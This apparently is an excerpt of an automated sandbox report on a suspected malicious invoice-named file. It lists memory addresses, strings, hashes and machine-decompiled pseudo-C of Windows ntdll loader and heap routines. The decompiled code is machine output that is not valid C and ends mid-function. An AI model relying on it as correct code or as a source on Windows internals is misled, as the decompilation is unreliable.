0x334f4424
0x334f4433
0x334f445e
0x334f4443
0x334f4445
0x334f444b
0x00000000
0x334f44c0
0x334f446a
0x334f446f
0x334f4471
0x00000000
0x00000000
0x334f4473
0x334f4479
0x334f447b
0x334f44d4
0x334f44d4
0x334f44db
0x334f44de
0x334f44e6
0x334f44e9
0x334f44ef
0x334f44f9
0x334f44fc
0x334f44ff
0x334f4502
0x334f451e
0x334f4523
0x334f44c9
0x334f44d1
0x334f44d1
0x334f4489
0x334f448f
0x334f4491
0x334f4493
0x00000000
0x00000000
0x334f4495
0x334f4498
0x334f449a
0x334f449c
0x334f44b8
0x334f44bb
0x334f44bb
0x334f44be
0x00000000
0x00000000
0x334f44b2
0x334f44b4
0x00000000
0x00000000
0x334f44b6
0x334f44b6
0x00000000
0x334f44b8
0x334f449e
0x334f44a0
0x334f44a2
0x334f44a4
0x00000000
0x00000000
0x00000000
0x00000000
0x334f44a6
0x334f44a6
0x334f44a6
0x334f44a8
0x334f44aa
0x334f44ac
0x334f44ac
0x334f44b0
0x334f44c4
0x00000000
0x334f44c4
0x334f444d
0x334f4450
0x334f4450
0x334f4452
0x334f445c
0x334f445c
0x00000000
0x334f445c
0x334f4454
0x334f4456
0x00000000
0x00000000
0x334f4458
0x00000000
0x334f4458
0x334f4447
0x00000000
0x334f4447
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 334F4489

Strings

LdrpCheckRedirection, xrefs: 334F450F
minkernel\ntdll\ldrredirect.c, xrefs: 334F4519
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 334F4508

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 3446177414-3154609507
Opcode ID: 680a34f60b4aaf08dcd54ba21ff064b38b6b56c09ac114aa0e2794d092026697
Instruction ID: c2a4f4fa8c5ec14e7f06c5d0990322c4ed8f4aa53c5ff543a5966e6edbf567fa
Opcode Fuzzy Hash: 680a34f60b4aaf08dcd54ba21ff064b38b6b56c09ac114aa0e2794d092026697
Instruction Fuzzy Hash: D641DE76609B119FDB10CF58E840A16B7E8AF48790F0D0669ED98FB351DF32D881CB89

Uniqueness

Uniqueness Score: -1.00%

Function 33467662 Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E33467662(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						L3346B910();
					} else {
						L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					L3346B910("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						L3346B910(", passed to %s", _t29);
					}
					_push("\n");
					L3346B910();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x335647a1 = 1;
						asm("int3");
						 *0x335647a1 = 0;
					}
					return 0;
				}
				return 1;
			}

0x33467667
0x33467669
0x33467672
0x334cad93
0x334cadb2
0x334cadb7
0x334cad95
0x334cadaa
0x334cadaf
0x334cadc3
0x334cadcc
0x334cadd4
0x334cadda
0x334caddb
0x334cade0
0x334cadf0
0x334cadf2
0x334cadf9
0x334cadfa
0x334cadfa
0x00000000
0x334cae01
0x00000000

Strings

RtlFreeHeap, xrefs: 334CADCE
, passed to %s, xrefs: 334CADCF
HEAP: , xrefs: 334CADB2
Invalid heap signature for heap at %p, xrefs: 334CADBE
HEAP[%wZ]: , xrefs: 334CADA5

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: e87a17b919c0acf39a619373b2763d1e603e9bd4452eccb8f099ccee677f187f
Instruction ID: 50b13b6ae4734c5da34cf3d6bc91aef7f0b765f8376330d14661265dbe4e510e
Opcode Fuzzy Hash: e87a17b919c0acf39a619373b2763d1e603e9bd4452eccb8f099ccee677f187f
Instruction Fuzzy Hash: A5014C3A406380AEE3059B29E418F427B94EB41735F18449EF01047F91CE94989ADE6C

Uniqueness

Uniqueness Score: -1.00%

Function 3347A2E0 Relevance: 5.3, Strings: 4, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E3347A2E0(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed short* _a12) {
				char _v12;
				char* _v16;
				char _v20;
				char* _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				char _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				char _v81;
				signed int _v84;
				void* _v88;
				void* _v89;
				signed short _v92;
				char _v93;
				void* _v100;
				void* _v101;
				intOrPtr* _t122;
				signed char* _t123;
				signed char* _t125;
				intOrPtr* _t128;
				signed char* _t129;
				signed char* _t131;
				intOrPtr _t133;
				signed int _t139;
				signed short* _t159;
				intOrPtr _t163;
				signed int _t178;
				signed int _t183;

				_t122 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				_v48 = __edx;
				_v52 = __ecx;
				_v64 = 0;
				_v28 = 0x3a0038;
				_v24 = L"LdrResFallbackLangList Enter";
				_v20 = 0x380036;
				_v16 = L"LdrResFallbackLangList Exit";
				if(_t122 != 0) {
					if( *_t122 == 0) {
						goto L1;
					}
					_t123 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					L2:
					if(( *_t123 & 0x00000001) != 0) {
						if(L33483C40() == 0) {
							_t125 = 0x7ffe0384;
						} else {
							_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						L334FFC01( &_v28,  *_t125 & 0x000000ff);
					}
					_t159 = _a12;
					if(_t159 == 0) {
						_t163 = 0xc000000d;
						_v68 = 0xc000000d;
						goto L35;
					} else {
						_t183 = 0;
						 *_t159 = 0;
						_t159[0x102] = 0;
						_v60 = 0;
						_v68 = 0;
						_v81 = 0;
						_v56 = 0;
						while(1) {
							L5:
							_v72 = 0;
							while(1) {
								L6:
								_t139 = _t183;
								_t178 = _t183;
								_t183 = _t183 + 1;
								if(_t139 > 7) {
									break;
								}
								switch( *((intOrPtr*)(_t139 * 4 +  &M3347A60C))) {
									case 0:
										__ax = _a4;
										_v64 = 1;
										goto L14;
									case 1:
										if((_a8 & 0x00000004) != 0) {
											 *((char*)(__ebx + 0x204)) = 1;
											goto L34;
										}
										if((_a4 & 0x000003ff) != 0) {
											__edx =  &_v76;
											 *((char*)(__ebx + 0x204)) = 1;
											if(L334688C8(__ecx, __edx) < 0) {
												goto L34;
											}
											__ax = _v76;
											_v72 = __ax;
											__eax = _v72;
											if(__ax != 0) {
												__esi = __edi;
											} else {
												__esi = __esi | 0xffffffff;
											}
											L30:
											_v64 = 2;
											goto L15;
										}
										__eax = 0xeeee;
										_v72 = 0xeeee;
										goto L30;
									case 2:
										_v80 = 0;
										if(E3347A630() == 0) {
											goto L24;
										}
										_t166 = _v60;
										if(_v60 >= ( *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff)) {
											goto L24;
										}
										E3347A750( *( *[fs:0x18] + 0xfc0), _t166,  &_v80,  &_v81);
										_t149 = _v92 & 0x0000ffff;
										_v84 = _t149;
										if(_t149 == 0) {
											goto L24;
										}
										if(_v81 != 0) {
											if((_a8 & 0x00100000) != 0) {
												_v72 = 0xeeee;
												_t149 = _v72;
											}
										}
										_v60 = _v60 + 1;
										_t183 = _t178;
										_v64 = 3;
										goto L15;
									case 3:
										__eax = _v52;
										if(__eax == 0) {
											L24:
											_v72 = 0xeeee;
											goto L6;
										}
										__edx = _v48;
										 &_v36 =  &_v44;
										__ecx = __eax;
										__eax = E3347A1E3(__ecx, __edx,  &_v44,  &_v36, _a8);
										if(__eax >= 0) {
											 &_v12 = E334B5050(__ecx,  &_v12, _v44);
											 &_v48 =  &_v20;
											__eax = E334956E0( &_v20,  &_v48);
											if(__al == 0) {
												_v68 = 0xc00b0005;
												goto L24;
											}
											__ax =  *((intOrPtr*)(__esp + 0x3c));
											_v72 = __eax;
											_v80 = __ax;
											if((_a8 & 0x00100000) != 0) {
												__edx =  *[fs:0x18];
												 &_v81 =  &_v80;
												__edx =  *( *[fs:0x18] + 0xfc0);
												__eax = E3347A750(__edx, 0,  &_v80,  &_v81);
												if(_v93 == 0) {
													__ax = _v80;
													_v72 = __eax;
												} else {
													__eax = 0xeeee;
													_v72 = __ax;
												}
											}
											__eax = _v36;
											__al = __al & 0x00000001;
											__al & 0x000000ff =  ~(__al & 0x000000ff);
											asm("sbb eax, eax");
											 ~(__al & 0x000000ff) & 0x00000006 = ( ~(__al & 0x000000ff) & 0x00000006) + 4;
											_v64 = ( ~(__al & 0x000000ff) & 0x00000006) + 4;
											__eax = _v72;
											goto L15;
										}
										goto L24;
									case 4:
										__eax = 0xeeee;
										_v80 = __ax;
										__eax = _a8;
										__eax =  !_a8;
										if((__eax & 0x00080000) != 0) {
											goto L34;
										}
										if( *[fs:0x18] == 0) {
											__ax = _v80;
											goto L5;
										}
										__eax =  *[fs:0x18];
										__ax =  *((intOrPtr*)(__eax + 0xc4));
										goto L14;
									case 5:
										__eax = 0xeeee;
										_v72 = __ax;
										__eax =  &_v56;
										_push( &_v56);
										_push("true");
										__eax = E334B2AE0();
										_v76 = __eax;
										if(__eax < 0) {
											goto L6;
										}
										__ax = _v56;
										goto L14;
									case 6:
										__eax = 0xeeee;
										_v72 = __ax;
										__eax =  &_v32;
										_push( &_v32);
										_push(0);
										__eax = E334B2AE0();
										_v76 = __eax;
										if(__eax < 0) {
											goto L6;
										}
										__eax = _v32;
										if(__eax == _v56) {
											goto L6;
										}
										L14:
										_v72 = __eax;
										L15:
										if(_t149 == 0xeeee) {
											goto L6;
										}
										goto L16;
									case 7:
										__eax = 0x409;
										_v72 = __ax;
										L16:
										_t179 =  *_t159 & 0x0000ffff;
										_t168 = 0;
										_t175 = _t179;
										if(_t175 == 0) {
											L20:
											if(_t179 >= 0x40) {
												goto L34;
											}
											 *((short*)(_t159 + 4 + _t175 * 8)) = _v72;
											 *(_t159 + 8 + ( *_t159 & 0x0000ffff) * 8) = _v64;
											 *_t159 =  *_t159 + 1;
											goto L6;
										} else {
											_t152 =  &(_t159[2]);
											while(1) {
												_t179 =  *_t159 & 0x0000ffff;
												if( *_t152 == _v72) {
													break;
												}
												_t168 = _t168 + 1;
												_t152 =  &(_t152[4]);
												if(_t168 < _t175) {
													continue;
												}
												goto L20;
											}
											if(_t168 < _t175) {
												goto L6;
											}
											goto L20;
										}
								}
							}
							L34:
							_t163 = _v68;
							L35:
							_t128 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
							if(_t128 != 0) {
								if( *_t128 == 0) {
									goto L36;
								}
								_t129 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								L37:
								if(( *_t129 & 0x00000001) != 0) {
									if(L33483C40() == 0) {
										_t131 = 0x7ffe0384;
									} else {
										_t131 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
									}
									L334FFC01( &_v20,  *_t131 & 0x000000ff);
									_t133 = _v68;
								} else {
									_t133 = _t163;
								}
								return _t133;
							}
							L36:
							_t129 = 0x7ffe0385;
							goto L37;
						}
					}
				}
				L1:
				_t123 = 0x7ffe0385;
				goto L2;
			}

0x3347a2f4
0x3347a2f7
0x3347a2fb
0x3347a2ff
0x3347a307
0x3347a30f
0x3347a317
0x3347a31f
0x3347a329
0x334d29f7
0x00000000
0x00000000
0x334d2a06
0x3347a334
0x3347a337
0x334d2a17
0x334d2a29
0x334d2a19
0x334d2a22
0x334d2a22
0x334d2a35
0x334d2a35
0x3347a33d
0x3347a342
0x334d2a3f
0x334d2a44
0x00000000
0x3347a348
0x3347a34a
0x3347a34e
0x3347a351
0x3347a357
0x3347a35b
0x3347a35f
0x3347a363
0x3347a367
0x3347a367
0x3347a367
0x3347a370
0x3347a370
0x3347a370
0x3347a372
0x3347a374
0x3347a378
0x00000000
0x00000000
0x3347a37e
0x00000000
0x3347a3ff
0x3347a403
0x00000000
0x00000000
0x3347a4af
0x334d2b05
0x00000000
0x334d2b05
0x3347a4bc
0x334d2a52
0x334d2a56
0x334d2a64
0x00000000
0x00000000
0x334d2a6a
0x334d2a6f
0x334d2a77
0x334d2a7b
0x334d2a85
0x334d2a7d
0x334d2a7d
0x334d2a7d
0x3347a4cb
0x3347a4cb
0x00000000
0x3347a4cb
0x3347a4c2
0x3347a4c7
0x00000000
0x00000000
0x3347a387
0x3347a393
0x00000000
0x00000000
0x3347a39f
0x3347a3af
0x00000000
0x00000000
0x3347a3cd
0x3347a3d2
0x3347a3d7
0x3347a3de
0x00000000
0x00000000
0x3347a3e9
0x334d2a93
0x334d2a9e
0x334d2aa3
0x334d2aa3
0x334d2a93
0x3347a3ef
0x3347a3f3
0x3347a3f5
0x00000000
0x00000000
0x3347a46a
0x3347a470
0x3347a492
0x3347a497
0x00000000
0x3347a497
0x3347a475
0x3347a47e
0x3347a483
0x3347a485
0x3347a48c
0x3347a5b5
0x3347a5bf
0x3347a5c4
0x3347a5cb
0x334d2aee
0x00000000
0x334d2aee
0x3347a5d8
0x3347a5dd
0x3347a5e1
0x3347a5e6
0x334d2aac
0x334d2ab8
0x334d2abd
0x334d2ac5
0x334d2acf
0x334d2ae0
0x334d2ae5
0x334d2ad1
0x334d2ad1
0x334d2ad6
0x334d2ad6
0x334d2acf
0x3347a5ec
0x3347a5f0
0x3347a5f5
0x3347a5f7
0x3347a5fc
0x3347a5ff
0x3347a603
0x00000000
0x3347a603
0x00000000
0x00000000
0x3347a4d8
0x3347a4dd
0x3347a4e2
0x3347a4e5
0x3347a4ec
0x00000000
0x00000000
0x3347a4f6
0x334d2afb
0x00000000
0x334d2afb
0x3347a4fc
0x3347a502
0x00000000
0x00000000
0x3347a53c
0x3347a541
0x3347a546
0x3347a54a
0x3347a54b
0x3347a54d
0x3347a552
0x3347a558
0x00000000
0x00000000
0x3347a55e
0x00000000
0x00000000
0x3347a568
0x3347a56d
0x3347a572
0x3347a576
0x3347a577
0x3347a579
0x3347a57e
0x3347a584
0x00000000
0x00000000
0x3347a58a
0x3347a592
0x00000000
0x00000000
0x3347a40b
0x3347a40b
0x3347a40f
0x3347a417
0x00000000
0x00000000
0x00000000
0x00000000
0x3347a59d
0x3347a5a2
0x3347a41d
0x3347a41d
0x3347a420
0x3347a422
0x3347a426
0x3347a444
0x3347a448
0x00000000
0x00000000
0x3347a456
0x3347a45e
0x3347a462
0x00000000
0x3347a428
0x3347a428
0x3347a430
0x3347a437
0x3347a43a
0x00000000
0x00000000
0x3347a43c
0x3347a43d
0x3347a442
0x00000000
0x00000000
0x00000000
0x3347a442
0x3347a4a3
0x00000000
0x00000000
0x00000000
0x3347a4a9
0x00000000
0x3347a37e
0x3347a50e
0x3347a50e
0x3347a512
0x3347a518
0x3347a51d
0x334d2b14
0x00000000
0x00000000
0x334d2b23
0x3347a528
0x3347a52b
0x334d2b34
0x334d2b46
0x334d2b36
0x334d2b3f
0x334d2b3f
0x334d2b52
0x334d2b57
0x3347a531
0x3347a531
0x3347a531
0x3347a539
0x3347a539
0x3347a523
0x3347a523
0x00000000
0x3347a523
0x3347a367
0x3347a342
0x3347a32f
0x3347a32f
0x00000000

Strings

LdrResFallbackLangList Exit, xrefs: 3347A31F
LdrResFallbackLangList Enter, xrefs: 3347A30F
6, xrefs: 3347A317
8, xrefs: 3347A307

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: b832603203939a73e6744b46d6b8165b163c2fa73b8df4cb06fa6dbd2a16e56f
Instruction ID: 04718cc84993868ed4b5c06cede99b72c2a143ef829c385f8e44228f7e89f7f9
Opcode Fuzzy Hash: b832603203939a73e6744b46d6b8165b163c2fa73b8df4cb06fa6dbd2a16e56f
Instruction Fuzzy Hash: 61C17974108382CFE711CF28C480B9AB7E4FF84744F04496AF8A59B751E736C94ACB5A

Uniqueness

Uniqueness Score: -1.00%

Function 334A8322 Relevance: 5.3, Strings: 4, Instructions: 263
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E334A8322() {
				intOrPtr _v0;
				signed int _v8;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				char _v172;
				intOrPtr _v200;
				char _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				char* _v236;
				intOrPtr _v240;
				char _v244;
				signed short _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				intOrPtr _v272;
				short _v274;
				char _v276;
				signed int _v280;
				char _v284;
				char _v288;
				char _v292;
				char _v293;
				intOrPtr _v297;
				intOrPtr _v308;
				intOrPtr _v316;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t77;
				signed int _t83;
				void* _t85;
				void* _t88;
				signed int _t94;
				signed short _t102;
				char _t113;
				void* _t127;
				char _t137;
				void* _t138;
				intOrPtr _t146;
				void* _t149;
				void* _t150;
				void* _t151;
				void* _t153;
				void* _t154;
				intOrPtr _t158;
				signed int _t160;
				void* _t163;

				_t162 = (_t160 & 0xfffffff8) - 0x124;
				_v8 =  *0x3356b370 ^ (_t160 & 0xfffffff8) - 0x00000124;
				_t137 = 0;
				_v264 = 0;
				_v280 = 0;
				_t163 =  *0x33565d70 - _t137; // 0x0
				if(_t163 != 0) {
					L18:
					_t77 = 0;
					L16:
					_pop(_t149);
					_pop(_t153);
					_pop(_t138);
					return E334B4B50(_t77, _t138, _v8 ^ _t162, _t147, _t149, _t153);
				}
				_push( &_v260);
				_push(0);
				_push(0);
				_push( *((intOrPtr*)( *[fs:0x30] + 8)));
				_push("true");
				_pop(_t150);
				_push(_t150);
				E3347E580();
				_push("true");
				_pop(_t154);
				_t83 =  *(_v280 + 0x5c) & 0x0000ffff;
				if(_t83 != _t150) {
					if(_t83 == _t154) {
						goto L2;
					}
					goto L18;
				}
				L2:
				_push(0x334413b0);
				_push(_t150);
				_push( &_v268);
				_t85 = L334B2AB0();
				_push("true");
				_pop(_t151);
				if(_t85 >= 0) {
					_push( &_v256);
					_push(0x50);
					_push( &_v92);
					_push(_t154);
					_push(0x33441a88);
					_push(_v268);
					_t88 = E334B2B00();
					_push(_v292);
					E334B2A80();
					if(_t88 < 0 || _v88 != _t151 || _v84 != _t151 || _v80 <= _t137) {
						_push("true");
						_pop(_t154);
						goto L3;
					} else {
						L15:
						_t77 = _t137;
						goto L16;
					}
				}
				L3:
				_push(0x335633b0);
				_push(0x20019);
				_v293 = _t137;
				_push( &_v288);
				_v288 = _t137;
				if(L334B2AB0() >= 0) {
					_push( &_v284);
					_push(0x30);
					_push( &_v220);
					_push(_t154);
					_push(_v288);
					_t94 = E334B2AF0();
					_push(_v308);
					_t156 = _t94;
					E334B2A80();
					_t52 = _t156 + 0x7ffffffb; // 0x7ffffffb
					asm("sbb ecx, ecx");
					_t139 =  ~_t52 & _t94;
					if(( ~_t52 & _t94) < 0 || _v200 == _t137) {
						goto L4;
					} else {
						L26:
						if(L3348DDA0(_t137, _t137, 0x33441a78,  &_v264) >= 0) {
							_t158 = _v264;
							if(L3348CF00(_t139, _t147, _t158, 0x33441a90, _t137,  &_v280, _t137, _v0) < 0 || _v280 == _t137) {
								L3348CD80(_t139, _t158);
								_t137 = 0xc0000139;
							} else {
								asm("ror eax, cl");
								 *0x33565b64 =  *0x7ffe0330 ^ _v280;
								 *0x335668e4 = _t158;
							}
						} else {
							_t137 = 0xc0000135;
						}
						goto L15;
					}
				}
				L4:
				_push(0x33441398);
				_push("true");
				_push( &_v292);
				if(L334B2AB0() < 0) {
					L7:
					if(L33493890(_t137,  &_v252) < 0) {
						goto L15;
					}
					_v276 = 0;
					_t102 = (_v252 & 0x0000ffff) + 0x78;
					if(_t102 > 0xfffe) {
						L14:
						E33483B90( &_v252);
						if(_v297 != _t137) {
							goto L26;
						}
						goto L15;
					}
					_t146 =  *0x33565d78; // 0x0
					_t147 = _t102 & 0x0000ffff;
					_t139 = _t146 + 0x180000;
					_v274 = _t102 & 0x0000ffff;
					_t113 = L33485D90(_t146 + 0x180000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t146 + 0x180000, _t102 & 0x0000ffff);
					_v284 = _t113;
					if(_t113 == 0) {
						goto L14;
					}
					if(E334910D0(_t139,  &_v276,  &_v252) >= 0 && L3347FE40(_t139,  &_v276, L"\\Software\\Policies\\Microsoft\\Windows\\Safer\\CodeIdentifiers") >= 0) {
						_v244 = 0x18;
						_v236 =  &_v276;
						_push( &_v244);
						_push("true");
						_v240 = _t137;
						_push( &_v292);
						_v232 = 0x40;
						_v228 = _t137;
						_v224 = _t137;
						if(L334B2AB0() >= 0) {
							_push( &_v284);
							_push(0x50);
							_push( &_v172);
							_push("true");
							_push(0x33441390);
							_push(_v292);
							_t127 = E334B2B00();
							_push(_v316);
							E334B2A80();
							if(_t127 >= 0 && _v168 == _t151 && _v164 == _t151 && _v160 > 1) {
								_v293 = 1;
							}
						}
					}
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t137, _v272);
					goto L14;
				} else {
					_push( &_v284);
					_push(0x50);
					_push( &_v172);
					_push("true");
					_push(0x33441390);
					_push(_v292);
					if(E334B2B00() >= 0) {
						if(_v168 == _t151 && _v164 == _t151 && _v160 > 1) {
							_v293 = 1;
							_push( &_v284);
							_push(0x50);
							_push( &_v172);
							_push("true");
							_push(0x33441a80);
							_push(_v292);
							E334B2B00();
						}
					}
					_push(_v292);
					E334B2A80();
					if(_v297 != _t137) {
						goto L26;
					}
					goto L7;
				}
			}

0x334a832a
0x334a8337
0x334a833f
0x334a8343
0x334a8347
0x334a834b
0x334a8351
0x334a8515
0x334a8515
0x334a84f7
0x334a84fe
0x334a84ff
0x334a8500
0x334a850b
0x334a850b
0x334a835b
0x334a8362
0x334a8363
0x334a8364
0x334a8367
0x334a8369
0x334a836a
0x334a836b
0x334a8374
0x334a8376
0x334a8377
0x334a837e
0x334a850f
0x00000000
0x00000000
0x00000000
0x334a850f
0x334a8384
0x334a8384
0x334a8389
0x334a838e
0x334a838f
0x334a8394
0x334a8396
0x334a8399
0x334e4eee
0x334e4eef
0x334e4ef8
0x334e4ef9
0x334e4efa
0x334e4eff
0x334e4f03
0x334e4f08
0x334e4f0e
0x334e4f15
0x334e4f36
0x334e4f38
0x00000000
0x334a84f5
0x334a84f5
0x334a84f5
0x00000000
0x334a84f5
0x334e4f15
0x334a839f
0x334a839f
0x334a83a4
0x334a83ad
0x334a83b1
0x334a83b2
0x334a83bd
0x334e4f42
0x334e4f43
0x334e4f49
0x334e4f4a
0x334e4f4b
0x334e4f4f
0x334e4f54
0x334e4f58
0x334e4f5a
0x334e4f5f
0x334e4f67
0x334e4f69
0x334e4f6b
0x00000000
0x334e4f7b
0x334e4f7b
0x334e4f8e
0x334e5052
0x334e506a
0x334e5093
0x334e5098
0x334e5072
0x334e5080
0x334e5082
0x334e5087
0x334e5087
0x334e4f94
0x334e4f94
0x334e4f94
0x00000000
0x334e4f8e
0x334e4f6b
0x334a83c3
0x334a83c3
0x334a83c8
0x334a83ce
0x334a83db
0x334a8413
0x334a841f
0x00000000
0x00000000
0x334a8427
0x334a8431
0x334a8439
0x334a84e1
0x334a84e6
0x334a84ef
0x00000000
0x00000000
0x00000000
0x334a84ef
0x334a843f
0x334a8445
0x334a8448
0x334a8456
0x334a845e
0x334a8463
0x334a8469
0x00000000
0x00000000
0x334a847c
0x334a8495
0x334a849d
0x334a84a5
0x334a84a6
0x334a84ac
0x334a84b0
0x334a84b1
0x334a84b9
0x334a84bd
0x334a84c8
0x334e4ff3
0x334e4ff4
0x334e4ffd
0x334e4ffe
0x334e5000
0x334e5001
0x334e5005
0x334e500a
0x334e5010
0x334e5017
0x334e5045
0x334e5045
0x334e5017
0x334a84c8
0x334a84dc
0x00000000
0x334a83dd
0x334a83e1
0x334a83e2
0x334a83eb
0x334a83ec
0x334a83ee
0x334a83ef
0x334a83fa
0x334e4fa5
0x334e4fca
0x334e4fcf
0x334e4fd0
0x334e4fd9
0x334e4fda
0x334e4fdc
0x334e4fe1
0x334e4fe5
0x334e4fe5
0x334e4fa5
0x334a8400
0x334a8404
0x334a840d
0x00000000
0x00000000
0x00000000
0x334a840d

Strings

@, xrefs: 334A84B1
LdrpInitializeProcess, xrefs: 334A8342
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 334A847E
minkernel\ntdll\ldrinit.c, xrefs: 334A8341

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: 47c2d3eaadaa83b99a92a179ad7b3c243490ac0fc464bec938a1905e0ff647e0
Instruction ID: cf933cb4cc54cdffec80910c6ebf8baa6c91bb28ddd9adf36f9a997b3e180e7a
Opcode Fuzzy Hash: 47c2d3eaadaa83b99a92a179ad7b3c243490ac0fc464bec938a1905e0ff647e0
Instruction Fuzzy Hash: 74919E71908344AFE721DF25C840EABBBECEF98785F44092DF688D2651E734D944CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 334A265C Relevance: 5.2, Strings: 4, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E334A265C(signed char __ecx, signed int __edx, intOrPtr _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed int _v8;
				char _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				char* _v548;
				short _v550;
				short _v552;
				signed int* _v556;
				signed int* _v560;
				signed int* _v564;
				signed int _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t95;
				intOrPtr _t96;
				void* _t104;
				signed int _t105;
				signed int* _t107;
				void* _t113;
				signed int _t119;
				intOrPtr _t120;
				void* _t121;
				char* _t128;
				void* _t129;
				signed int _t131;
				signed short _t139;
				signed int _t142;
				signed int _t147;
				signed int _t149;
				signed int _t154;

				_t141 = __edx;
				_v8 =  *0x3356b370 ^ _t154;
				_v556 = _a12;
				_t128 =  &_v532;
				_v560 = _a8;
				_t147 = 0;
				_v564 = _a16;
				_t142 = 0;
				_v540 = __ecx;
				_v532 = 0;
				_t131 = 0;
				_v552 = 0;
				_push("true");
				_pop(_t95);
				_v550 = _t95;
				_t96 = _a4;
				_v536 = 0;
				_v544 = 0;
				_v548 = _t128;
				if(_t96 == 0x3344120c) {
					L334FEF10(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t148 = 0xc000000d;
					L39:
					return E334B4B50(_t148, _t128, _v8 ^ _t154, _t141, _t142, _t148);
				}
				if(_v560 != 0) {
					 *_v560 =  *_v560 & 0;
					_t147 = 0;
				}
				if(_v556 != _t131) {
					 *_v556 =  *_v556 & _t131;
					_t147 = _t131;
				}
				if(_v564 != _t131) {
					 *_v564 =  *_v564 & _t142;
					_t131 = _t142;
				}
				if((_v540 & 0xfffffffc) != 0 || _t141 == 0 || _v560 == _t142 || _v556 == _t142) {
					_push(_v556);
					_push(_v560);
					_push(_t141);
					_push(_v540);
					L334FEF10(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags                : 0x%lx\nSXS:    Peb                  : %p\nSXS:    ActivationContextData: %p\nSXS:    AssemblyStorageMap   : %p\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t148 = 0xc000000d;
					goto L37;
				} else {
					if(_t96 != 0) {
						if(_t96 == 0xfffffffc) {
							L24:
